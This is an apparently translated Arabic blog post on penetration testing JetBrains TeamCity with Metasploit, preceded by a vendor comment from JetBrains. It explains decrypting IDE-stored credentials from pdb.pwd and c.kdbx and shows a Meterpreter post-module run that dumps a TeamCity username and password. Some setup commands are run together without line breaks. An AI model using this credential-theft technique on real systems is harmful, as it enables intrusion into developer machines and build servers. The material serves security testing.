
اختبار اختراق TeamCity باستخدام Metasploit
ملخص: الحصول على كلمات المرور من JetBrains IDE (مثل IntelliJ أو PyCharm) واستخدام تلك البيانات داخل خادم TeamCity للتكامل المستمر للحصول على جلسة meterpreter على الخادم ووكلاء البناء باستخدام metasploit بواسطة Kacper Szurek.




هذا تعليق من البائع (فريق TeamCity من JetBrains) بواسطة Yegor Yarko:
معظم محتوى المقال يصف كيف يمكن للمستخدمين الخبيثين إساءة استخدام TeamCity إذا تم منحهم الصلاحيات بشكل شرعي. على سبيل المثال، يمكن للمستخدم الذي لديه دور مسؤول النظام (يمنح السيطرة الكاملة على الخادم) تثبيت إضافة خبيثة لـ TeamCity أو الحصول على رمز مميز للوصول "المستخدم الفائق" إلى الخادم. أيضًا، يمكن لمن لديه دور مسؤول المشروع تشغيل كود عشوائي على الوكيل أو استرداد كلمات مرور الوصول إلى المستودعات المكونة. هذا السلوك هو جزء من الوظائف التي يوفرها TeamCity كمنتج. هذه الاعتبارات موصوفة في القسم ذي الصلة من توثيق TeamCity.
المشكلات الموصوفة تشير إلى مدى خطورة تزويد جهة خبيثة بصلاحيات عالية. يجب على مسؤولي خادم TeamCity مراجعة أذونات المستخدمين بانتظام لتجنب منح أي صلاحيات للمستخدمين الخبيثين المحتملين قد يساء استخدامها؛ ومراجعة صلاحيات المستخدم الضيف، إذا كانت مفعلة. نقطة أخرى هي عدم ترك المحطات الطرفية دون مراقبة أثناء تسجيل الدخول في أي مكان بصلاحيات غير تافهة.
مع ذلك، تم ذكر ثغرتين أمنيتين فعليتين في المقال: الأولى تتعلق بنشر قطعة بناء خبيثة وجعل مسؤول يعرضها في المتصفح، والثانية هي تصعيد صلاحية تشغيل بناء مخصص إلى تنفيذ كود عشوائي على وكيل TeamCity. للأخيرة تأثيرات طفيفة فقط على معظم تثبيتات TeamCity حيث أن من لديهم هذه الصلاحية غالبًا ما لديهم بالفعل القدرة على تنفيذ أي كود على الوكيل.
ومع ذلك، سنقوم بمعالجة هذه المخاوف في أحد إصدارات TeamCity القادمة، ونشكركم على لفت انتباهنا إليها.
لنفترض أنك تقوم باختبار اختراق داخل شركة برمجيات تستخدم مجموعة أدوات Jetbrains. أنت تستخدم metasploit وتحصل على جلسة meterpreter على جهاز المطور.
ماذا يمكنك أن تفعل بعد ذلك؟ هناك مقال واحد حول اختبار اختراق TeamCity بواسطة Nikhil SamratAshok Mittal من عام 2015.
في هذا المنشور، أجمع عدة تقنيات من ملاحظات الأمان وBugTrack وأضعها في وحدة Metasploit.
ملاحظة: أنا لا أستخدم أي ثغرات 0-day هنا. لكل إجراء، تحتاج إلى بيانات اعتماد صالحة لـ TeamCity. انظر تعليق JetBrains.
أنا لست مسؤولاً عن أي ضرر ناتج عن هذا السكريبت. لسلامة البيانات، استخدم set CLEANUP false.
تم الاختبار على TeamCity 2017.2.1 (build 50732).
لفك تشفير قاعدة بيانات KeePass، نحتاج إلى مكتبة Ruby kdbx.
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installالآن يمكنك:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb و serverplugin.zip إلى ~/.msf4/modules/exploitsjetbrains.rb إلى ~/.msf4/modules/postmsfconsolereload_allيمكن دمج TeamCity بسهولة مع جميع JetBrains IDE باستخدام إضافة.

إذا تم استخدام خيار تذكرني، يتم تخزين كلمات المرور باستخدام IntelliJ Platform Credentials Store API. يمكنك العثور على الكود المصدري هنا.
إجراء فك التشفير على ويندوز يبدو كالتالي:

pdb.pw باستخدام Windows CryptUnprotectData. هذا يعني أنه فقط المستخدم الذي قام بتشفير البيانات يمكنه فك تشفيرها.c.kdbx باستخدام كلمة المرور الرئيسية من النقطة 2.0xDFAAبشكل افتراضي، كلمة المرور الرئيسية عشوائية. يمكن تغييرها داخل الخيارات:

لكن هذا لا يغير شيئًا.
هذا يعني فقط أن قاعدة بيانات KeePass c.kdbx سيتم تشفيرها باستخدام كلمة مرور مختلفة. لا يزال بإمكان المستخدم المحلي الحصول بسهولة على هذه الكلمة من ملف pdb.pw.
لنفترض أن لديك جلسة Meterpreter صالحة مع `#1```` use post/jetbrains set SESSION 1 exploit
يبدو الإخراج كما يلي:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed